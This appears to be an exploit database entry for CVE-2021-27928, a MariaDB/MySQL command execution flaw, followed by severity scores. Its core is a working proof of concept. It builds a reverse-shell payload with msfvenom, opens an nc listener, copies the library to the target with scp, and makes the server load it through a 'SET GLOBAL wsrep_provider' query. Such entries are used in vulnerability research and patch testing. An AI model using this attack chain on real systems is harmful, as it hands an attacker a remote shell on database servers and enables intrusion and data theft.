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MariaDB 10.2 - 'wsrep_provider' OS Command Execution
10
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version: MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
# Proof of Concept:
# Create the reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
# Start a listener
nc -lvp <port>
# Copy the payload to the target machine (In this example, SCP/SSH is used)
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
# Execute the payload
mysql -u <user> -p -h <ip> -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'Data
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14 Apr 2021 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.17.2
CVSS 29
EPSS0.48947